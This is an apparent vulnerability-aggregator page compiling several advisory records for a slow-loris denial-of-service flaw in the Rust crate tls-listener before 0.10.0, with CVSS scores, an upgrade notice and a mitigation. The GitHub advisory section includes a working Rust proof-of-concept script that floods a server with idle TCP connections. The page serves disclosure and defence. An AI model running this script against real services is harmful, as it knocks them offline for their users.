Slow loris vulnerability with default configuration in tls-listener

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.

Source published

15 Mar 2024 18:54:58 UTC

Source modified

2 Aug 2024 00:56:58 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.

Source published

Mar 15, 2024, 6:54:58 PM (timezone not stated)

Source modified

Aug 2, 2024, 12:56:58 AM (timezone not stated)

Observed here

9 Nov 2026 00:06:55 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.

Source published

15 Mar 2024 19:15:07 UTC

Source modified

17 Jun 2026 07:21:53 UTC

Observed here

24 Oct 2026 23:17:34 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. ### Details The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. ```rust /// Default number of concurrent handshakes pub const DEFAULT_MAX_HANDSHAKES: usize = 64; /// Default timeout for the TLS handshake. pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10); ``` ### PoC Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server. ```rust use std::{net::ToSocketAddrs, time::Duration}; use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet}; #[tokio::main] async fn main() { const N: usize = 1024; const T: Duration = Duration::from_secs(10); let url = "127.0.0.1:3000"; let sockets: Vec<_> = url .to_socket_addrs() .unwrap() .inspect(|s| println!("{s:?}")) .collect(); let mut js = JoinSet::new(); let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32)); int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst); for _ in 0..10000 { for &socket in &sockets { int.tick().await; js.spawn(async move { let mut stream = TcpStream::connect(socket).await.unwrap(); let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await; }); } } while js.join_next().await.is_some() {} } ``` ### Impact This is an instance of a [slow-loris attack](https://en.wikipedia.org/wiki/Slowloris_(computer_security)). This impacts any publically accessible service using the default configuration of `tls-listener` ### Mitigation Previous versions can mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.

Source published

15 Mar 2024 19:57:22 UTC

Source modified

10 Sep 2026 03:50:00 UTC

Observed here

24 Oct 2026 13:19:54 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.

Source published

15 Mar 2024 12:00:00 UTC

Source modified

12 Oct 2026 18:00:02 UTC

Observed here

24 Oct 2026 13:19:54 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H